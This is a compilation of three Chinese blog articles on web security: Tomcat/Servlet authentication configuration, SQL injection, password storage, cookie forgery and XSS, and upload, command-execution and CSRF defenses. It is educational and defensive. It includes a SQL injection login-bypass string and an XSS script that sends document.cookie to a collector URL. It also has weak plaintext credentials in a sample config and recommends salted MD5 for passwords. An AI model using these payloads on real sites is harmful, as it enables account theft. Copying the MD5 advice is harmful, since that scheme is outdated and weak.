https://www.2cto.com/kf/201606/514489.html
其实大多数web程序使用的都是这种方式，我们不用看这篇文章都知道要怎么做，将用户输入的用户名和密码与存储在服务器上或者数据库中的进行验证，如果验证成功，再看该客户具体的角色。声明：最大的好处是避免部分编程，因为验证和授权的部分是servlet容器完成的，而且在声明式安全中，浏览器可以在将用户名和密码发到服务器前对其进行加密，由于使用声明，所以所有的安全性约束都不用写到servlet类中，只要在部署描述符中进行声明即可，有很大的灵活性；但是声明这种方式也有缺点，支持数据加密的验证方法只能使用servlet容器（Tomcat）提供的默认登录框，不能定制，在这个看脸的社会无疑已经被淘汰出局，另外如果要使用定制的登录表单就不会对所传输的数据加密。
一、 声明式安全
其实使用声明式验证功能使用的是Http协议中的内容，而不是servlet中的内容（Http功能简直太强大了）。使用声明式安全，首先要做的就是定义用户和角色，不同的servlet容器，用户和角色的保存位置也不同，使用tomcat可以将这些信息保存在配置文件tomcat-users.xml中，然后可以对一些资源的进行安全限制。在tomcat-users.xml中配置如下：
<role rolename="manager-gui"></role>
<role rolename="admin"></role>
<role rolename="user"></role>
<user password="tomcat" roles="manager-gui" username="tomcat"></user>
<user password="lmy86263" roles="admin" username="lmy86263"></user>
<user password="guest" roles="user" username="guest"></user>
在web程序中将文件放到WEB-INF下或者其子目录下可以隐藏他们，但是在后台可以通过servlet和JSP页面跳转到那里，简单粗暴，不够好。我们可以通过将这些资源放到应用程序目录下，然后通过安全约束来对访问这些资源的请求进行验证，主要是通过在部署描述符中进行配置来实现对一些请求进行约束。
<security-constraint>
<web-resource-collection>
<web-resource-name>HttpServlet</web-resource-name>
<url-pattern>/myHttpServlet</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
<login-config></login-config>security-constraint：用来指定一个资源集合和可以访问这些资源的一个或者多个角色。web-resource-collection：用来指定一组资源集合，这里面有几个元素比较重要，url-pattern就不说了，和之前使用servlet和Filter时一样，就是为了映射一个servlet资源，此处的映射只适用于直接访问该资源，如果是后台forward该资源或者使用JSP标签来访问时不受该安全机制约束的，这个元素可以有多个；http-method元素用来定义http方法，例如上述中使用了GET和POST方法说明安全性约束只适用于这两种方法，也就是说如果使用了PUT或者DELETE方法访问这些资源是不受该安全机制约束的，默认是所有方法都保护，这个元素也可以有多个；还有一个元素这里没有写出来是http-method-omission，这个正好和http-method相反，它是说明除了该属性中的方法之外的所有方法访问该资源时都会被限制，它不能和http-method一起使用；auth-constraint：用来指定可以访问该资源的角色名称，如果没有该元素则说明所有人都可以访问该元素，这样就没有意义；如果该元素存在但是是空的，说明没有人能够直接访问该资源（注意是直接）；
1、 基本访问验证
基本访问验证是接受用户名和密码的HTTP验证，如果用户访问一个受保护的资源，则会被服务器拒绝，登录框会一直存在直到你输入正确的用户名和密码，如果你取消认证则会返回401错误，但是要注意的一点是如果你登录成功，但是你的role-name并不在中出现，则会返回403错误，所以一定要注意这两种错误是不同的。
<login-config>
BASIC</auth-method>
<realm-name>Admin only</realm-name>
</login-config>使用这种Http验证方式，是将用户名和密码按照"用户名：密码"这种形式组合并且使用Base64算法进行编码传输到服务器，这种算法很弱，在网上随便找一个解码的网站都能知道你的用户名和密码。下面实现出现验证错误和没有授权时的截图：
注意状态码，还有注意Http协议中提供的首部WWW-Authenticate，可以看出这里面的值就是我们在上面配置的属性，这个首部就是用来验证程序使用者的身份的，在其中realm项中包含可以访问该资源的角色名，在登录时就会使用另一个首部Authorization包含使用Base64编码的用户名和密码信息，如下图所示，这里由于取消了验证所以没有发送该首部。注意这两个首部的顺序，当发出登录请求时使用Authorization，然后服务器返回WWW-Authenticate，但是当你取消登录时也会返回WWW-Authenticate，总之一句话，只要你没登陆成功就会返回这个首部。
这里可以看到虽然验证成功了，但是由于该用户对应的角色不在安全约束的范围之内，所以也是被禁止访问该资源的。
2、 摘要访问验证
关于摘要访问验证和基本访问验证类似，只是验证方法使用DIGEST，这种方式不使用Base64算法。这种是使用MD5散列函数计算用户名、密码、realm值三者结合在一起的一个散列值，然后将这个散列值发送到服务器，其中具体的技术见如下链接。
<login-config>
DIGEST</auth-method>
<realm-name>Admin only</realm-name>
</login-config>使用这种方式的请求和响应如下
3、 表单访问验证
由于上述两种方式都不不能支持自定义的登录页面，使用基于表单的访问验证可以避免这种尴尬，但是由于这种方式传输的数据是没有加密的，所以它的使用是和其他的加密方法比如SSL等一起使用的。使用这种方式时，首先要自定义登录页面和错误处理页面，验证方式使用FORM，通过下面的声明来完成配置：
<login-config>
FORM</auth-method>
<realm-name>Admin only</realm-name>
<form-login-config>
<form-login-page>/login.jsp</form-login-page>
<form-error-page>/error.jsp</form-error-page>
</form-login-config>
</login-config>当用户名和密码与数据库或者文件中存储的信息不同时就会返回error.jsp页面，如果匹配成功是不会返回该页面；如果成功匹配，但是该用户的角色并没有权限访问该页面，则不会返回error.jsp页面，而是直接返回403没有权限访问的信息。
关于错误处理页面比较简单这里就不说明了，但是登录页面中有几点要注意，登录页面如下：
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="GBk"%>户名: 密码:
在表单中，注意action是j_security_check，用户名是j_username，密码是j_password，这三个字段都是由servlet容器来实现的，这里使用的是tomcat，在tomcat中处理这部分的类是org.apache.catalina.authenticator.FormAuthenticator，对应的代码在authenticate()方法中，如下：
boolean loginAction = (requestURI.startsWith(contextPath)) && (requestURI.endsWith("/j_security_check"));
if (!loginAction)
{
if ((request.getServletPath().length() == 0) && (request.getPathInfo() == null))
{
StringBuilder location = new StringBuilder(requestURI);
location.append('/');
if (request.getQueryString() != null)
{
location.append('?');
location.append(request.getQueryString());
}
response.sendRedirect(response.encodeRedirectURL(location.toString()));
return false;
}
session = request.getSessionInternal(true);
if (log.isDebugEnabled()) {
log.debug("Save request in session '" + session.getIdInternal() + "'");
}
try
{
saveRequest(request, session);
}
catch (IOException ioe)
{
log.debug("Request body too big to save during authentication");
response.sendError(403, sm.getString("authenticator.requestBodyTooBig"));
return false;
}
forwardToLoginPage(request, response, config);
return false;
}
request.getResponse().sendAcknowledgement();
Realm realm = this.context.getRealm();
if (this.characterEncoding != null) {
request.setCharacterEncoding(this.characterEncoding);
}
String username = request.getParameter("j_username");
String password = request.getParameter("j_password");
if (log.isDebugEnabled()) {
log.debug("Authenticating username '" + username + "'");
}
principal = realm.authenticate(username, password);
if (principal == null)
{
forwardToErrorPage(request, response, config);
return false;
}
if (log.isDebugEnabled()) {
log.debug("Authentication of '" + username + "' was successful");
}
if (session == null) {
session = request.getSessionInternal(false);
}
if (session == null)
{
if (this.containerLog.isDebugEnabled()) {
this.containerLog.debug("User took so long to log on the session expired");
}
if (this.landingPage == null)
{
response.sendError(408, sm.getString("authenticator.sessionExpired"));
}
else
{
String uri = request.getContextPath() + this.landingPage;
SavedRequest saved = new SavedRequest();
saved.setMethod("GET");
saved.setRequestURI(uri);
saved.setDecodedRequestURI(uri);
request.getSessionInternal(true).setNote("org.apache.catalina.authenticator.REQUEST", saved);
response.sendRedirect(response.encodeRedirectURL(uri));
}
return false;
}二、 编程式安全
现在大多数应用其实都是采用这种方式来实现自己的安全需求的，幸好在servlet中已经有这方面的规范了，让我们很容易使用。但有一点还是没有做好就是虽然不用在配置文件中声明了，但是验证时仍要进行的登录页面还是要在web.xml中使用login-config配置。
1、 使用注解
使用注解时其实完成的就是web.xml中security-constraint的功能，与安全有关的主要是三个注解：
@ServletSecurity：包括以下两个注解，对应于security-constraint元素；@HttpConstraint：主要用来添加允许访问该资源的角色，通过rolesAllowed配置；@HttpMethodContraint：主要用来添加被该安全机制所限制的Http方法，它里面也有一个rolesAllowed属性，和上面的注解中的属性要表达的意义是相同的，但是它只作用于；
其中后两个注解的使用可以演变出很多的组合，简单的使用如下：
@WebServlet(name="securityServlet", urlPatterns={"/securityServlet"})
@ServletSecurity(value=@HttpConstraint(rolesAllowed="user"),
httpMethodConstraints={@HttpMethodConstraint(value="GET", rolesAllowed="admin")})
public class SecurityServlet extends HttpServlet {}说明允许user角色使用所有除了GET方法的Http方法访问该资源，但在通过GET方法访问该资源的时候必须验证客户的角色是否是admin。
2、 使用API
除了使用注解，Servlet规范还提供了使用API实现编程式安全，这些API都是在HttpServletRequest中定义，使用如下：
getAuthType()：返回保护该Servlet的验证方法，对应的是web.xml中的中的的值，如果没有验证方法则会返回null；getRemoteUser()：返回发出该请求的用户的登录名，如果该用户没有通过验证则会返回null；isUserInRole()：标明该经过验证的用户是否属于指定的角色，如果没有经过验证返回false；getUserPrincipal()：返回包含被验证用户信息的java.security.Principal，如果未经过验证则返回null；authenticate()：命令浏览器显示登录窗口用于对用户进行验证，验证方法使用表单方式时登录窗口为我们自定义的表单，否则使用servlet容器提供给我们的登录窗口；login()：用于提供用户名和密码进行登录，登录成功不反返回任何值，登录失败则会抛出ServletException；logout()：重置用户信息；
使用实例如下：
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if(req.authenticate(resp)){
System.out.println("success");
}
else {
System.out.println("fail");
}
System.out.println("AuthType: " + req.getAuthType());
System.out.println("RemoteUser: " + req.getRemoteUser());
System.out.println("isUserInRole: " + req.isUserInRole("admin"));
System.out.println("UserPrincipal: " + req.getUserPrincipal());
}这里使用表单验证方式，所以使用的表单是我们自定义的。
当验证成功时，输出如下：
当验证失败时，输出如下：
从整体上看，servlet提供的针对安全的编程模型还是很方便的，比我们自己通过直接验证数据库中保存的信息要高大上很多。
https://blog.csdn.net/baochao95/article/details/52025180
SQL注入
- 数据库表
出现场景
当开发登录模块的时候，如果我们使用是mysql操作php，并非使用mysqli、PDO等；当查询用户是否存在的SQL是这样写的，select * from user where name = 'admin' and password = '123456'; 这样写是以查询来的，但是会出现漏洞。居心叵测的人就可以使用万能密码xxx ' or 1 # 来破解上面的登录操作。
SQL注入原理
用户在输入用户名的时候直接输入万能密码：xxx' or 1 #，那么最后拼接的SQL会变为：select * from user where name = 'xxx' or 1 # and password = '123456'; #符号代表SQL语法中的注释，上面的SQL就如同select * from user where name = 'xxx' or 1 。这样是可以查询到用户信息的，所以用户就登录了系统。
1、使用正则表达式：设置用户的输入规则
2、使用预处理而不是拼接SQL语句。
密码安全
- 场景
假如某网站数据库泄露，那么用户信息就被一览无余了，如果这是用户的常用密码，那么坏人拿到密码就可以进行撞库操作，那么你买的12306的票就会被坏人退了。以前csdn和天涯就是使用明文来存储密码的，之后就出现的泄露事件。
- md5加密
md5是一种加密算法，是不可逆的算法。我们可以将密码使用md5加密后进行存储。那么在判断的时候，需要将用户输入的数据加密再和表中的数据相对比。
上文说了要采用md5加密，怎么又不安全。网上有网站是在线md5解密的，他们是怎么解密的呢？因为他们一直在收集简单密码的md5值，形成越来越大的库。所以，如果密码是简单的纯数字，那么生成的md5值可能会被该网站解密。所以我们应该尽量把密码设置得难一些。
md5加盐
什么是md5加盐？在存储密码的时候，我们可以将真实的密码+“盐”之后再进行md5加密。“盐”可以是一个字符串（无规律），也可以是一个字段，比如说是姓名字段，也可是是单独的字段。
在判断用户是否存在的时候，我们先将输入的密码+“盐”，然后md5加密，在和数据库中的密码字段进行匹配。这样做会安全一些
cookie安全
在某网站中，如果用户登录之后，如果使用的是cookie来存储用户的信息，然后是通过检测是否有这个cookie值来检测是否登录的。那么可能会出现cookie的安全问题。
当用户登录以后，在浏览器中会出现cookie的值，形如上图，cookie的键是name,值是admin。如果网站是根据是否有这个cookie值来检测，形如上面代码，那么坏人就可以使用火狐浏览器中的firebug工具来伪造cookie，如上图。我只是伪造了一个cookie，名称也是name，但是内容我却可以随便输入，此时便会伪造一个cookie，那么以后带着这个cookie去访问的时候其他页面是，就不会被代码拦截了。
- 解决方式
在登录成功时，除了只设置name项之外，我们可以多设置一项，但是这一项的值必须是随机的，没有任何规律可循的。下面的代码我是先定义了一个盐的变量，然后把登录后的用户名+盐的方式再进行md5加密，再定义一个cookie项。然后修改判断用户是否登录的代码。
xss攻击
- 案列
在从事项目开发中，经常会碰到评论功能，如果我们将评论的内容直接存到表中，那么显示的时候就可能被用户输入的东西进行攻击。
1、恶作剧:
<font size="100" color="red">逗你玩</font>2、略带恶意:
<script>
while(true) {
alert('欢迎你');
}
</script>3、恶意
读取你的cookie信息，并发送到指定的页面，进行保存操作。
<script>
var url = "http://localhost//toucookie.php?cookie=" + document.cookie;
var img = document.createElement("img");
img.src = url;
document.appendChild(url);
</script>
- 防范xss
1、不需要展示HTML标签的表单内容,入库时直接转成实体显示
$_POST['content] = htmlspecialchars($_POST['content']);2、可以用正则检测输入框必须为email等合法数据
3、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等
如strip_tags 来过滤html标签
4、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等
如strip_tags 来过滤html标签
https://www.jianshu.com/p/e32a2dc0426b
防止非法文件上传可以利用客户端验证和服务器端检测。但是我们要注意任何客户端验证都是不安全。客户验证是为了防止用户输入错误，减小服务器开销。服务器端验证才是真正的防御攻击者。
上传漏洞形成的最终原因：
1目录过滤不严 攻击者可能建立畸形目录。
2文件未重命名 攻击者可能会利用web容器解析漏洞。
代码执行漏洞和命令执行漏洞的区别是前者是靠执行脚本代码调用操作系统命令，后者是直接调用操作系统命令。
框架执行漏洞
框架技术可使开发变得更简单，省时，高效，但是一旦出现漏洞，其结果也是致命的。且框架的用户越多，安全隐患也就越大。
防范命令执行漏洞有：
尽量不要使用系统执行命令。
执行命令函数或方法前，变量要做好过滤，并对敏感字符进行转义。
使用动态函数前，确保使用的函数是指定的函数之一。
CSRF
它是跨站请求伪造。与css相比，CSRF不流行，但却更难以防范。就更危险。
攻击：攻击者盗用你的身份，以你的名义进行某些非法操作。获取你的敏感信息，盗取你的财产。
功击原理：通常当我们打开或登录某个网站，浏览器和网站所存放的服务器产生一个会话，会话没结束时可用你的权限对网站进行某些操作。再深一点就是例如我们登录网上银行，浏览器跟可信站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求，都被视为可信的动作。CSRF便是建立在会话之上。所以在这之上的任何操作都是合法的。攻击者仅需要改变一下参数，用欺骗的方式使用户访问自己精心制作的URL。就可以进行一次"合法"攻击。而这个却是自己造成的，攻击者并没有攻破你的密码，或者入侵服务器。
CSRF通常是与XSS一起出现的。
CSRF是借用受害者的cookie骗取服务器的信任，但是并不能获取到cookie的内容。还有由于浏览器的同源策略的限制，它也无法从返回结果获得任何东西，CSRF只能给服务器发送请求。
预防CSRF攻击时，只需要增加小操作便可防御。
第一种：二次确定。
第二种：taken认证。它类似于验证码，但它不需要输入。
验证码的验证思路是：在服务器端生成验证字符并保存在session中，在客户端使用图片显示这段字符串，当用户输入验证码之后交给服务器处理，若验证码与session的字符串匹配，就代表验证码正确，可以发起请求，反之亦然。
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
